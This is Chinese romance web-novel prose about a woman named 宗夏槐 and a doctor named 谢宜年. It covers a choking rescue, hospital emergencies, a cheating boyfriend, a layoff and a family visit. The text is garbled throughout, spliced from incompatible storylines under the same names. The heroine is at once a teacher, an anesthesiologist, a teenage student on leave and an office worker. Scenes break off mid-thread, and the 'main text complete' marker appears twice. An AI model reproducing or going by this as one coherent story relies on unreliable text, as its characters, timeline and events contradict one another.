谢宜年把孩子抱了过来,蹲下身,把孩子放到了自己膝盖上,给孩子做了个初步检查。 翻白眼,呼吸困难,典型的气道异物梗阻,再不采取措施会有窒息的危险。 来不及多想,谢宜年迅速把孩子翻了过来,让他面部朝下,自己一只手拖住孩子下颌,另一只手在肩胛骨连线中点处拍打。 1、2、3、4、5 宗夏槐跟简灵静静地蹲在一旁看着谢宜年的操作,大气都不敢出。 拍完第五下,宗夏槐注意到,半颗白色的花生米果肉从小果冻的嘴里吐了出来落到了青灰色的路面上。 下一秒,就是一阵哇哇的哭声。 小果冻终于哭了出来。 谢宜年轻拍孩子后背安抚,人也跟着站了起来。 “异物吐了出来,应该没什么事了,不过,为了保险起见,还是去医院检查一下,我手头没有专业的工具。” 小果冻在谢宜年怀里挣扎,一个劲儿地朝简灵伸胳膊,想要妈妈抱。 简灵接过孩子,看着怀里哭得声音洪亮的小人儿才渐渐地从刚才的震惊中缓过神来。 “谢谢你,谢医生,你是我们家的救命恩人,谢谢你。” 简灵神情很激动,一个劲儿地弯腰鞠躬跟谢宜年道谢。 孩子暂时脱离危险,宗夏槐也跟着长舒一口气,她不敢想象,要是没遇到谢宜年,又打不上车,孩子将会是个什么情况。 宗夏槐抬头,迎上男人的视线,黑亮的眼眸里满是感激之情,“谢医生,今天真是太感谢了,幸好碰到了你,谢谢。” 谢宜年勾了勾嘴角,“好了,举手之劳,你们不用一口一个谢谢了,我正好也没事,我的车就停在那边,走吧,我带你们去医院再给孩子检查一下。” 宗夏槐没有拒绝,跟简灵上了谢宜年的车。 这人长得高高大大,开的车也跟别人不一样。 在宗夏槐对汽车浅薄的认知里面,她只认得这是一辆吉普车,什么价位看不出来。 几个人很快到了医院。 市医院住院部二楼,儿科医生值班室。 今天是周日,高洋的班。 周末病患很少,高洋正坐在工位上无聊地刷着手机,忽然听见一阵急促的脚步声。 职业敏感下,他知道应该是出了什么急症病患,连忙站起了身,准备迎接患者。 办公室的门似是被一阵风吹开。 谢宜年带着宗夏槐和另一个女人急匆匆地走了进来,关键是,宗夏槐怀里还抱着一个一岁左右的孩子。 高洋惊讶地下巴都快掉到地上了。 “这这这什么情况?” “你们俩把孩子都生了?” 第 66 章 第 66 章 宗夏槐换了身衣服去楼下食堂打饭,又去便利店买了两盒酸奶。 便利店人多,宗夏槐正在排队,有电话打到她手机上,是个陌生的号码。 “宗老师!是我,莘芃芃,这个小孩大出血了!” “什么?” 芃芃说总值班的电话打不通,宗夏槐说:“她可能在忙,晚上事情也比较多,又只有一个老大,这样,你现在去走廊喊一声,这个点肯定有人在的!” 宗夏槐一路跑过去,等换了衣服,再小跑到手术间的时候,小儿组手术间已经全是人了。 总值班和邻近几个房间的麻醉医生都在,芃芃被挤到了角落,茫然无措地看着这一切。 宗夏槐抓住她:“血要来了吗?” 芃芃使劲点头:“之前备了400血400浆,现在已经都输掉了,刚才又和血库要了800血400浆,血库说他们也没有更多的血了。” 宗夏槐问:“现在出了多少血?” 芃芃小心翼翼地说:“出了2000。” 宗夏槐听了想晕过去,2000ml的血相当于这个5岁的小孩子的两倍全身血量。 旁边的总值班摇头:“不止,现在还在出血,现在有2500了。” 宗夏槐用指尖摸了摸他的泪痣,夸他:“真好看。” 谢宜年不受控制地摸了摸自己的眼睛:“是吗?”他是那样喜欢宗夏槐,所以也希望对方能多多喜欢自己。 当他意识到宗夏槐喜欢他身上某一点特质的时候,他就会试图去放大这个特质。比如说宗夏槐喜欢他好看,他这段日子就格外的注重自己的外貌;他察觉到宗夏槐吃软不吃硬,就会故意示弱。 宗夏槐把手机往远处拿了拿,怕自己的耳朵再次受到荼毒。 “对,就是他。” 简灵:“槐儿,昨天晚上我把孩子的事跟公公婆婆和我老公都说了,他们都认为应该好好的感谢一下谢医生,而且,这按照我婆婆他们村的习俗,谢宜年救了果冻一命,果冻应该认谢医生做干爹。” “噗”“挺好的,那个什么。”房东阿姨提醒她:“下个季度的租金,该交了啊,阿姨知道你们打工不容易,已经给你最低价了。” “现在外面租房至少是年付的,你这按季度交我都没说啥。” 听到这话,宗夏槐脸颊臊得慌,一个劲的道歉:“我这几天绝对给您。” 送走房东以后,宗夏槐进了家感觉身上的压力更重了,她拿出手机想再催杨格还钱,他正好借了五千,如果还回来她再补一点就能交上房租了。 不然真的要去到处借钱了,不到万不得已她是真的不想去借钱。 结果她一条消息刚发过去,界面直接跳出个红色叹号。 宗夏槐握着手机静止了几秒,愤怒一拥而上,气得脸瞬间涨红。 你他妈还敢删我好友!! 报警!她现在就报警!! 宗夏槐气得想砸手机又舍不得,最后在抱枕上锤了好几拳,就在这时,一通电话打来。 “宗夏槐!我是谢琪!还记得我吗!” “宗老师,先别着急拒绝我,这一周,我麻烦你的次数太多了,每天都很晚来接壮壮,还让你带着壮壮去了次医院,不请你吃顿饭,我心里实在过意不去。” 小壮壮按下车窗玻璃,探出一个小脑袋来,大眼睛忽闪忽闪地,“槐槐老师,你就答应爸爸嘛,壮壮都饿了,我们一起去吃饭。” 宗夏槐当然知道小家伙的心思,他一个小时前才在学校吃过饭。 张政没再说什么,而是转身走到车子另一侧,打开了副驾的车门。 他知道,儿子这句话肯定会发挥作用的。 宗夏槐还是有些犹豫。 张政站在车门旁,伸出手臂做了个请的手势,“宗老师,上车吧,今天司机不在,我来开车。” 宗夏槐这个人最不会做的事情就是拒绝。 壮壮还在后排探头探脑,半个身子都快伸出车窗了,她怕孩子有危险,只好答应。 “壮壮乖乖坐好,老师马上上车喽。” 上了车,宗夏槐拘谨地坐在副驾,手指一直在摩挲手机屏幕。 不回家吃饭,肯定要跟父母报备一下的,可是,怎么说呢? 实话实说吗?以老妈那个刨根问底的心思。 撒个谎吗?本来没什么的事情,反倒看上去像是有事了。 纠结了一会儿,宗夏槐还是给老妈发了个信息。 【妈,晚上单位聚餐,不回去吃饭了。】 等宗夏槐从手机屏幕上抬头,车子已经停在一家高级饭店门口。 “宗老师,我们到了,随便吃一口,你别介意。” 张政招呼她下车,又回身去后座把壮壮抱了下来。 宗夏槐下车才看清了自己的位置——华南街。 华南街是临川市有名的美食一条街,几乎聚集了各种小店,大排档,当然也有大老板们经常出没的高级餐厅。 此刻,他们就站在临川市唯一一家四星级饭店——万悦饭店门口。 张政应该是这里的常客了,他一进门就有大堂经理迎了上来。 “张局,实在抱歉,楼上包间都满了,您看?” 张政知道,是自己临时起意,没有预约。 “没关系,就在大堂吃吧,选个好点的位置。” 大堂经理引着他们走到一个靠窗的位置旁边,“张局,这个位置视野最好,我去后面拿几件小玩具送给小公子。” 张政满含歉意的看着宗夏槐,“抱歉,宗老师。” 宗夏槐摆手表示不介意。 半个小时后,宗夏槐到约定的清吧找到谢琪。 谢琪看见她笑得能开花似的:“好久不见!可算是有时间约你啦。” 宗夏槐微笑,坐下:“找我有事?” “啊,也没什么事,就是一直想当面谢谢你。”谢琪莫名娇羞。 “哦你说那天。”她摆摆手,接过服务生递来的柠檬水,“没关系的,而且非说要还人情的话,你哥已经替你还了。” 谢琪显然一副不知情的样子:“啊?他干嘛啦?” “帮我……”宗夏槐也不知道怎么遮掩,摸着头发,索性说:“收拾了一下前男友……” 谢琪表情瞬间变得很精彩,半捂着嘴,心想:谢宜年你倒挺会给自己找借口。 她说:“哎呀,我哥是我哥,我是我,我今天请你喝酒吃东西!” 谢琪把酒单给她,说着:“刚接电话的时候感觉你情绪不高,出什么事了吗?” 宗夏槐和她投缘,正想找个倾诉的出口,就没隐瞒:“我前男友从我这借的钱还没还,把我微信删了,我正想去派出所呢。” “我,最近要交房租,有点急用这笔钱……” 谢琪耷拉肩膀:“啊,怎么这样。” “这男的也太贱了。” “你缺多少?我给你拿点,什么时候还都行。” 宗夏槐赶紧摇头,就知道对方会好心:“不用的,没事。” 谢琪想了想,趁她没注意偷偷拿出手机发了条微信。 ………… 宗夏槐:“这什么狗屁习俗啊,果冻认他做干爹,那我这个干妈怎么办啊?” 简灵:“我不管啊,你给谢医生打个电话,今天晚上把他约出来,我跟我老公还有你,咱们四个一起吃个饭,作为对谢医生救命之恩的答谢。” 宗夏槐这就听不懂了,“你们要请谢宜年吃饭,为什么带上我,而且还让我给他打电话?” 简灵的嘴跟机关枪似的,“得了吧,人家谢医生要不是看在你的面子上怎么会主动多管这件闲事呢,你以为我傻呀,毕竟你俩相过亲,有过交集,行了,我不跟你说了,要去上班了,这个任务你必须给我完成,挂了。” 望着突然断掉的通话,宗夏槐眉毛拧成了一团。 什么跟什么呀? 学生们午睡快起来的时候,宗夏槐溜出去打算给谢宜年打电话了。 再不打,下午忙起来估计没时间。 米色棒球帽下的那张脸,有着病态到不属于尘世的美,五官精致分明,带着攻击性,两瓣唇却是薄红,没什么血色。 司机从后视镜见了都忍不住询问:“姑娘,身体不舒服?” 宗夏槐回过神,下意识拉了拉衣袖,堪堪遮住纤细手腕上刺目的痕迹:“没,有点怕冷。” 确实。周二早晨,宗夏槐在校门口接孩子的时候,她注意到送壮壮来学校的变成了他的奶奶。 孩子奶奶宗夏槐是认识的,之前都是老人在送孩子。 宗夏槐揪着的心才算是松了下来。 “壮壮,早上好呀,走,我们进去吧。” 宗夏槐从老人手里接过孩子的书包,拉起壮壮的小手就准备往里走。 “槐槐老师,你等一下。” 壮壮奶奶突然叫住了宗夏槐。 “槐槐,上一个礼拜我有事不在,张政工作又忙,我听说麻烦了你好几次,还带着孩子去了趟医院,我心里真是过意不去。” 宗夏槐没想到,这事张政居然跟家里老人也说了吗? 她面色有些尴尬,但还是尽量保持微笑,“没事的,阿姨,我是孩子的老师,这都是我分内的事,再说了,孩子爸爸已经谢过了,你们不用太放在心上的。” 宗夏槐以为对方又会以此为借口请她吃饭,赶紧把已经谢过的事情说了出来。 壮壮奶奶没继续说,而是把一直提在手里的黄色纸袋递给了宗夏槐。 “槐槐,这是我自己做的一些小点心,味道很不错的,壮壮很爱吃,我包了一些给你尝尝,来,拿着。” 呃 宗夏槐怎么感觉,招惹上这一家人,像是踢到了一块黏人的口香糖,有点摆脱不掉的意思。 小壮壮也在旁边助攻,“槐槐老师,你就收下吧,我奶奶做的点心很好吃,比蛋糕店的都好吃呢。” 眼看校门口的人已经越来越少,马上就是上课时间了,不能再耽误下去。 宗夏槐眼一闭,心一横,收了点心。 想着这怎么也该是最后一次了吧,总不能明天孩子爷爷再过来感谢她一次。 收了礼物,宗夏槐领着孩子回了教室。 放学的时候,为了避免跟壮壮的家长打照面,她主动要求留下来打扫教室的卫生,让同事毛琳琳去放学。 毛琳琳大概也看出来一些端倪,奉劝她,“槐槐,你这总躲着壮壮的家人也不是个事啊,这以后不是一天两天,他还要在这里念两年呢,除非转学。” 宗夏槐重重地叹了一口气,“我知道啊,我已经明确拒绝了张政了,可是,他好像根本不在意,他的家人也是,一个个都是神助攻。” 毛琳琳:“你这问题,貌似只有一种解决办法。” 宗夏槐:“什么?” 时值八月底,临城夏日正炎,这姑娘却穿着深色长袖长裤,严严实实。 然而空荡荡,掩不住消瘦。 她实在是太瘦了,窝在座椅角落里,看着手长腿长,一米七以上的个子,却薄的像一片纸。 整个人苍白到透明,透出一种破碎又颓败的美感,随时都会消失一样。 看着也就十七八岁,多好的年纪啊…… 司机忍不住叹她可怜,一边将车内冷气调小,一边说:“你这个年纪正是长身体的时候,小姑娘家家的别总想着减肥。” 宗夏槐目光一怔,片刻,微笑着点头:“嗯,最近有在好好吃饭。” 前方路口正是红灯,司机一手扶着方向盘又问:“刚刚看你在临江大饭店上的车,晚上没吃饱?” 宗夏槐并不是喜欢搭话的性子,此时也出于礼貌回答:“同学升学宴,没怎么吃。” “升学宴啊,这八月底的,都快开学了,是该办了。”司机显然是个自来熟,越说越来劲,“那姑娘你也是今年高考了?考的什么大学啊?” 宗夏槐瞬间眸光一暗。 司机自觉失言,立马打住话头。 车内顿时陷入死寂,只余昏黄的路灯一盏盏踱过。 片刻,就在司机都没想到会得到回答的时候。 “没。”宗夏槐轻轻扯出一抹笑,“我休学了。” 如果没有高二那年发生的一切,她本该像同龄人一样,安安稳稳度过高中三年,按部就班参加高考,再去到心仪的大学。 可是她休学了,因为严重的心理问题,身体状况也不能再支持。 所幸。 几天前,医生告知她可以重新回到学校了。 时隔一年,她终于可以重新回归正常人的生活。 想到这,宗夏槐内心不由荡起些微快意。 晚风微燥,吹起碎发,她转头看向窗外,霓虹一帧帧映过,眼底终于漾出宜点光亮。 像是荒芜的原野,终于生出草木,于是枝丫疯长,天光大亮。 可是已经来不及了。 车祸就在一瞬间。 “嘭——” 她打开手机屏幕,找到昨天才保存在通讯录里面的号码,措了措辞,又犹豫了几秒,才点了拨号。 嘟嘟嘟 盲音响了十几秒还没有被接起。 人家是不是不想接我的电话? 不对,他应该没有我的号码,在他看来,这是一个陌生号码的来电。 就在宗夏槐打算挂断通话的时候,一道低沉的声音从手机里传了出来。 “宗老师?找我何事?” 宗夏槐拿着手机的手颤了颤,下意思地讲心中的疑惑问了出来。 “谢医生,你怎么会有我的手机号?” 谢宜年没回答,“宗老师找我什么事?是果冻有什么事吗?” 宗夏槐:“不是不是,果冻很好,你今天晚上有空吗,简灵全家打算请你吃饭,感谢你昨天的救命之恩。” 谢宜年委屈起来:“哦,老婆太能干了,看不上我这点钱。” 宗夏槐:“……” 于是宗夏槐向他伸出手:“那你把工资卡给我。” 谢宜年挠了挠头:“工资卡不在身上,但是我可以手机转给夏夏!以后医院发的钱全打给夏夏!”谢宜年当了真。 宗夏槐轻咳两声:“我和你开玩笑的,我对管钱没有兴趣,管钱的人心累。” 于是谢宜年说:“那我努力赚更多的钱!老婆负责花钱!不用管钱!” 宗夏槐总觉得他今天说得不是一般的花言巧语,问:“你这些话从哪学的?” 谢宜年说和老教授们学的。 宗夏槐说:“不要和他们学,他们每个人都有三个老婆。” 谢宜年的脑袋摇得像波浪鼓:“不学不学,我这辈子只有夏夏一个老婆,下下辈子也只有夏夏一个老婆!” 谢宜年举手发誓:“我发誓!” 宗夏槐忍不住笑了。 谢宜年看她笑,很开心:“夏夏,你笑了,多笑嘛,你笑起来特别好看。” “夏夏~”他咬着字叫她,一个字被他念出了九转十八弯:“岳父岳母喜欢什么东西呀?能不能提前给我漏个小抄?” 【正文完结】 第 67 章 第 67 章 宗夏槐故作为难:“我爸不爱喝酒,也不爱抽烟,就爱打牌打麻将,你要么到时候陪他玩两局?” 谢宜年不会玩牌,但是现在距离过年还有段时间,他可以学。谢宜年不假思索地说:“当然!” 这世上从没有男人粗心的说法,只有上不上心,倘若他上心,便会让一切尽善尽美。 谢宜年不满足于此,问:“那叔叔爱喝茶吗?酒和烟还是要送的,要是过年叔叔阿姨家里来客人,可以用来待客。” 烟酒是硬通货,可以换钱,一直都是送礼上选。 宗夏槐说:“喝的。” 她怕他送得太夸张,叮嘱说:“你别搞太多,大家坐下来一起吃顿饭就好了。” 谢宜年摇头:“夏夏和我觉得这是家常饭,但是在父母眼里这是礼数,我第一次上门,不能装作什么都不懂,敷衍了事,叔叔阿姨也会觉得我不重视。” 谢宜年上网做了一些功课:“好像各地风俗不一样,年前和年后拜访有讲究,夏夏,你们那边一般是年前还是年后?” 从来没走过这个流程的宗夏槐懵住了:“应该都行吧,我家离海城近,两地的风俗应该差不多吧,你们这边的习惯是什么?” 谢宜年也不清楚,网上搜这种问题是搜不出答案的,只能回家问父母。谢宜年把这事记到备忘录里。 时间不早,宗夏槐和谢宜年回到值班室休息。宗夏槐今天不值班,对她来说,睡值班室并不是一件舒服的事情,如果夜里有急诊,她也会被吵醒。 不过今天运气不错,宗夏槐一夜睡到到天明,只是睁开眼后,她并不想立即起床,坐起来发会儿呆,直到昨晚的记忆慢慢回笼,一场惊心动魄的大抢救,结束后她和谢宜年一起吃了一顿夜宵。 宗夏槐拿起手机给谢宜年发微信:【下楼吃早饭吗?】 爱情和其他事物不一样,不是努力争取就可以收获的。 朋友认认真真回复:“看你多喜欢了。” 现在大家越来越清醒,都晓得专注自身搞钱搞事业最重要;也越来越胆小,不敢付出一腔真心;也越来越没耐心,这个不行就下一个,哪有什么“非她不可”的人。 谢宜年什么都不懂,生平第一次心动,不懂技巧,不会手段,他以为喜欢一个人就应该直接地告诉她,他不知道在正式表白之前其实大多数人还会有一段互相试探的暧昧期。 他太真诚了,以至于宗夏槐不忍心看到他眼睛里受伤的神色,说了那句“好”。宗夏槐也很久没有感受到这样直接而热烈的感情了,作为一个容貌姣好的女性,从青春期开始,她便遇到过许多向她示好的异性。 中学那会儿,大家还有懵懂的感情,会有小男生给她写情书,悄悄给她塞巧克力,不过那会儿宗夏槐一心放在学业上,全部视而不见。 后来上了大学,有人在学校表白墙上向她表白,也有人千方百计要她联系方式和她搭讪……刚上大学那会儿大家脱离了高中的管制,都是蠢蠢欲动的,有人谈恋爱并不是出于喜欢,而参杂了很多复杂的东西。 谢宜年帮忙付完钱。 三人走出文具店,原路返回,去找钱。 自然是找不着的。 宗夏槐叹了口气,抬头看向谢宜年:“我回去还你。” “不用了。”少年依旧叼着豆奶,浑不在意模样,“我从不白吃别人东西。” 意思是,当还早上的草莓蛋糕了。 但宗夏槐也从来没欠人钱的习惯。 “我转你。”宗夏槐坚持,“你回去给个微信我。” 谢宜年忽地眼一掀,意味深长地看了她好几秒,才唇一勾:“下次想要我微信可以直说。” “哈哈哈哈。”宗夏槐干笑了几声,从未见过如此厚颜无耻之人,忍不住翻了个白眼,“我是现金不够,只有手机上有钱。” 谢宜年瞬间面无表情:“……” 宗夏槐跟着补刀:“没要付款码,怕伤你自尊心。” 谢宜年:“……” “哈哈哈哈哈——”段锐笑的肚子疼,这哥什么时候有过这种待遇啊,今天也算是见着了,“我感觉他是被搞出阴影了,上次在奶茶店,有个女的故意把他的钱付了,说加微信还。” 宗夏槐握住同学的手,抬眼时目光复杂,声线微抖:“又给你添麻烦了……确定是他吗?” 邵青青拉着她往酒店里走,“我只见过他照片呀我不确定,所以才着急忙慌给你打电话。” 当时她正要交接班,结果没想到在自己负责的楼层里看到了好友的男朋友带着一个女的进了房间…… 邵青青脾气和软绵绵的宗夏槐完全相反,从大学到现在都是直来直去的爆-炸辣椒,看见宗夏槐男友杨格那张脸的瞬间恨不得上去手刃了那对狗男女,但最后还是冷静下来给她打了电话。 眼前的宗夏槐被大雪淋得湿漉漉的,本就无辜单纯的一张脸更显得可怜,鬓发贴在脸颊上,细密的眼睫抬动,眼珠流转着水光。 无论是谁看着这么一张脸,心都能化成一滩春水。 邵青青心里发软,从兜里掏出一张纸给她擦擦脸:“别着急啊,我陪你上去!” 宗夏槐摇头,坚持说:“你别跟着我上去了,你还穿着工作服,回头让你领导同事看见你带着外人跑上去捉奸不好。” “真是恶心。”邵青青想起一些事儿,说:“他前几天说交房租手头的钱周转不开,在你这儿借了五千多块钱,不会就是用来带人开房的吧!” 她工作的这家花园酒店属于中高端,十几层的房间一晚费用至少要四位数。 “你当时想都不想就给他了,也没留个心眼?” 好友说到这里宗夏槐才反应过来不对,她面对很多事的反应总是迟钝半步。 宗夏槐咬了咬嘴唇,点头:“如果是那样我饶不了他,我上去问个清楚。” 邵青青把坐电梯要刷的卡塞给她,嘱咐一句:“别吃亏别受伤,有事叫我上去。” 宗夏槐一个人扎进酒店。 酒店正是进出热闹的时间段,从楼上下来的电梯刚打开,她急着往里挤,迎面撞上一抹宽壮的身板,对方黑色毛衣上隐隐的雪松味道染进她鼻息。 宗夏槐满脑子乱乱的,顾不上抬头,小声道歉:“不好意思。” 那人的视线似乎在她身上停留了短暂几秒,随后出了电梯。 宗夏槐脑海里忽然闪出些直觉,再回头看向外面,电梯门已然关闭。 电梯一开门她奔向1207房间。 其实直到前一秒宗夏槐都还留有侥幸,想着会不会因为男友大众脸,朋友认错了。 直到亲眼看见她前阵子送对方的那条定制领带夹在紧闭的房门缝里,垂出来一小节在穿堂风中微微摆动。 透着男欢女爱的急切。 让站在门口的自己彻底成了笑话。 杨格前几天刚从一个小职员升了项目组长,她为了给他庆祝咬牙给对方定制了这条领带。 如今她却像被这条领带狠狠抽了一巴掌,脸上火辣辣的,丢人又愤怒。 宗夏槐气得浑身发抖,一用力把喜欢的美甲都抠掉一大块儿。 宗夏槐的胸口起伏剧烈。 她握拳就要捶打门板,可下一秒动作又生生停在半空,攥得发白的手背代表着错乱的纠结。 “然后呢?”宗夏槐八卦兮兮。 “上来就转了三万,说三万一个月。”段锐笑到声音都打着颤。 谢宜年脸肉眼可见地黑了,冷冷盯着段锐,豆奶吸管都被咬瘪了。 “哈哈哈哈哈——”宗夏槐一边笑一边打量着谢宜年,这身段,这脸,有一说一,“挺值的。” “你说谁值?”段锐损的不行。 宗夏槐没说话,只望着谢宜年悠悠点头。 谢宜年:“……” 段锐:“哈哈哈——” “后来呢?”宗夏槐吃瓜正欢。 “拉黑了。”谢宜年声线冷冷,已经走到前面去了。 宗夏槐笑了两下,迈着小胖腿蹦跶到前面去,在谢宜年耳边笑意悠悠问:“你也怕我包养你?” 谢宜年脚步一顿,转头看她,眸稍敛,复杂的目光里满满写着“你一女的怎么能把那两个字这么直白地说出来?” 宗夏槐忍不住偷笑,前世怎么没发现,在谢大少爷面前贩剑这么让人愉悦,她很快收住表情,叹了口气说:“放心,我没那么多钱。” 谢宜年眉目一松,总算舒了点心。 下一秒。时间已经来到八点钟,谢宜年该去健身房了,他起身主动提了离开。 简灵忙跟着站了起来,“好,谢医生,我们大家也吃得差不多了,今天相处的很愉快,希望以后我们还是朋友,能够经常约出来吃个饭,你是不知道,我们做梦也想认识个医生朋友啊,你说对吧,槐儿?” 简灵拼命给宗夏槐使眼色,奈何当事人根本不领情。 “好啊,我也吃饱了,这燕凤楼的菜就是好吃,谢谢款待啊,灵子。” 简灵:“”用努力工作建立起来的个人价值被粉碎得干干净净。 脑子里像蒙了一层厚厚的雾,下午的时候她再次被叫到谈话间,这次宗夏槐签了裁员协议。 等这两天把工作全部交接完毕后,她就可以彻底离开公司了。 晚上六七点钟,宗夏槐抱着办公用品出了公司。 经过一天,路边依旧堆积着昨天那场大雪的白色残存。 她靠在公车站广告牌边看着一辆辆车来了又去,还是很难接受自己已经失业这一现实。 前阵子男友出轨,后面立刻又被裁员。 先失恋又失业。 俗话说倒了血霉不过如此吧。 宗夏槐把眼睛摘下来擦了擦雾,叹气。 就她这个比上不足比下有余的学历,在这种就业环境下能快速找到新工作吗? 上了公车她刚坐下,就看见房东阿姨发来的消息。 【姑娘啊,房子还继续租吗?下个季度的房租这几天给我吧,还是给你1800一个月。】 宗夏槐仰头,心里念叨:一千八一个月,一个季度就是…… 突然要拿出来五千多块啊。 这时候,继母又不合时宜地发来几条微信,她扫了一眼没打算搭理,没想到对方直接甩过来一个电话。 看见来电显示宗夏槐头皮都麻了,手指僵硬,挣扎了好久还是接了电话。 宗夏槐堵住另一只耳朵,“喂,阿姨,有事吗?” “没什么大事。”继母嗓音愉悦,但一如既往的强势:“你这么久也不给家里报个信,你爸让我问问你怎么样。” 她垂眸,不打算说实话:“都挺好的,工作很忙。” “那就好,哎你说你这,在大公司挣得肯定不少吧?也不张罗给家里添点什么……”继母说到一半自己中断话题:“哎算了算了,你不跟家里要钱我跟你爸就满足了,哦对有个事儿。” “睿睿马上放寒假了,说想去滨阳旅游,到时候我带着他去找你。” “就住你租的房子吧,你住的地方离景区不远吧?” “到时候把你男朋友带给我看看,你说我给你介绍那么多好小伙你不要,偏得在外地自己找。” 宗夏槐心跳一滞,语气僵硬起来:“……你们来滨阳?这么突然?” “阿姨,我工作很忙,住得偏,可能顾不上你们。” “滨阳这边的酒店并不贵,要不你们还是住酒店吧,去景区方便。” 继母一听她没有顺自己心意,态度立刻强硬起来:“住酒店那得花多少钱啊!你不当家就是不知道省钱,我是替你想呢,我们去一趟滨阳吃住肯定要花你不少,省一份花销不好吗?” “既然你在滨阳有房子我们干嘛还出去住?” “我租的是个很小的一居室……”宗夏槐隐忍着,隐晦地提示了一句:“睿睿已经十六七岁了,他是个大男孩了,阿姨。” “那是你弟弟,那又怎么了!” “槐槐,你怎么回事,这出去才一年,脚都还没站稳就开始不听家里话了?” 临走之前,简灵拿起了一直放在包厢内沙发上面的红色礼盒,递给谢宜年。 “谢医生,这点东西您拿上,再多的东西也无法表达我们全家对您的感激之情,请您务必收下。” 谢宜年低头看了一眼,大概能判断出里面是什么东西。 两瓶名酒和一条名烟,剩下的空隙位置,放着两沓包在牛皮信封里的东西。 估计是现金。 谢宜年没想到他们会给自己钱,登时一股怒气直冲脑门,脸上的表情也跟着凌厉起来。 他用手推开礼盒,严厉拒绝了,“你们这是干嘛,我救孩子难道是为了拿你们的钱吗?救死扶伤是我医生的职责,你们这样做就太小看我了。” 他本就身形高大,浓密的眉毛下是冷硬的五官,透露着距离感,生气起来,周身的空气更是降到冰点。 简灵注意到,谢宜年应该是真的生气了。 她连忙把礼盒收起来,迅速把里面的牛皮信封取了出来放到一边,又把礼盒重新递给谢宜年,“谢医生,您别生气,这礼物是我婆婆准备的,我们两口子不知道里面都放了什么,对不起,让您误会了,这点烟酒你可一定要拿上,给家里长辈尝尝。” 段文州一直在旁边帮腔。 谢宜年没拿礼盒,而是从里面拿出来一瓶酒,放到了自己带来的跨包里,“就拿一瓶酒吧,我爷爷好这口,心意我领了,别的真的不能收。” 谢宜年的做法,既没违反自己的原则,也没有拂了对方的面子,简灵心里觉得很感激。 “好,那就听您的,谢医生,以后有任何我们两口子能帮上忙的事情,你尽管吩咐就好。” 谢宜年点了点头,准备往外走。 简灵收拾好自己带来的东西,忙不迭地跟在后面,“对了,谢医生,麻烦你等一下。” 谢宜年回头,“怎么,还有事?” 简灵尴尬地笑笑,“是这样的,我们俩还有别的事,能不能麻烦你送一下槐槐,我看她穿着恨天高,走路估计不太方便。” 提完这个要求,简灵恨不得把头低进了地板砖的缝里,心说,宗夏槐我可就帮你到这了,你可一定要抓住机会把谢医生拿下啊! 宗夏槐:“一个月零花钱最多三百。” 谢宜年:“???” “我太穷了,每个月除了饭钱只有三百零花。” “……”能不能把话说完。 “没事,我不会缠上你的。”宗夏槐低头唉声叹气。 “……”谢宜年被气笑了,这姑娘怎么突然这么奇怪。 路灯宗亮,街口熙攘。 无数压过雪水的轿车从路口飞驰而过不留残影,此刻从他们身旁经过的路人不由自主地成为了最灵动的背景板,构成这座无情城市里最有温度的存在。 周遭身影不断窜动,为他们相拥的静止铺下最鲜宗的对比。 心跳动得好快,可四肢却又完全活动不起来。 宗夏槐像个被冰冻的人,只得呆呆地仰着头,望着面前的男人。 自从被告知裁员开始,一直支撑她运转的那根脊梁仿佛塌掉,身上没了任何力气。 可此刻,谢宜年用胳膊牢牢地搂着她,稳着她,在这暴雪夜里站住脚步。 让本已经放弃挣扎,等待人车相撞的她在千钧一发之际避开痛苦。 偏偏是他。 谢宜年的怀抱像海中浮木,即使不会给予她退路,却也依旧在身心失意的此刻感受到片刻安全。 他温热的体温透过大衣传递到她冻僵的手指上,让宗夏槐忍不住想要靠得更近。 谢宜年垂眸,盯着满脸呆滞的宗夏槐。 她惨白又神色迟缓的脸蛋映入他眼底,像一只被雪淋湿的,在寒冬中迷失的小槐鸟似的,虽然不说话,那张脸却透着亟待拯救的怜意。 谢宜年握住对方的胳膊,晃了晃她,开口还是冷言冷语的:“愣什么,吓傻了?” 宗夏槐望着他,眨了下眼。 “走路不看路。”谢宜年往逆行电动车驶去的方向冷睨了一眼,看她:“等着被撞飞?” “我怎样又没碍着你事儿。” 宗夏槐想推他,却发现竟拗不过对方的力度,一瘪嘴嘟囔:“管得着么。” 熟悉的台词登场,激起的是两个人共同的回忆。 谢宜年当然意会到什么,轻嗤一声,“是管不着。” “但好好走在半路冷不丁见了血,多晦气。” 宗夏槐和谢宜年是一起去和家属签字的,谢宜年要签手术的字,宗夏槐要签麻醉的字。 签字的家属是病人的儿子,将信将疑地看着谢宜年:“你这么年轻,能行吗?” 谢宜年看上去只有20出头。 神经外科向来硬气,谢宜年在病人家属面前也从来没有软过,说:“你可以转院。” 家属态度软下来,乖乖地签了字。 手术开始后,宗夏槐坐在那和护士聊天,谈起这个小插曲。 护士震怒:“那这个人怎么不转院?转院我们就可以不做这个急诊了!” 宗夏槐赞同。 护士又说:“不过小谢看着是挺年轻的,今年快三十了吧?准备什么时候成家?” 谢宜年想了想说:“明年吧,今年过年见家长。”流程一定要走完的。 宗夏槐默不作声,有种谈地下恋爱的心虚感。等到了结婚,肯定要给科里同事发请柬,说起这事,她不是故意想瞒,只是大家在工作场合也不会特意说自己谈恋爱以及恋爱对象是谁。她和谢宜年在有外人在场的时候也不可能像私底下相处那样亲密让大家看出来。 只怕到时候八卦的人就多了,宗夏槐突然很头痛。 清血肿是开颅手术,一做就是三个小时打底,正好做到天明,结束冲个澡下夜班。 考虑到大年初一路上会堵,宗夏槐决定明天早上再起床回老家,今天先回去休息。 谢宜年自觉地变成老婆的小尾巴,主动做老婆的司机。他最近往宗夏槐家跑比回自己家的频率高多了,宗夏槐家的冰箱也再没空过,总是装满了满满当当的菜。 今天大部分外卖商家不营业,谢宜年便和宗夏槐先去超市买了菜,再步行回家。他手上拎了两大袋东西,宗夏槐要帮他分担一点,他也不肯。 两人说说笑笑回到家门口,宗爸爸和宗妈妈拎着几箱牛奶水果在门口站着。 “爸,妈?” 【正文完结】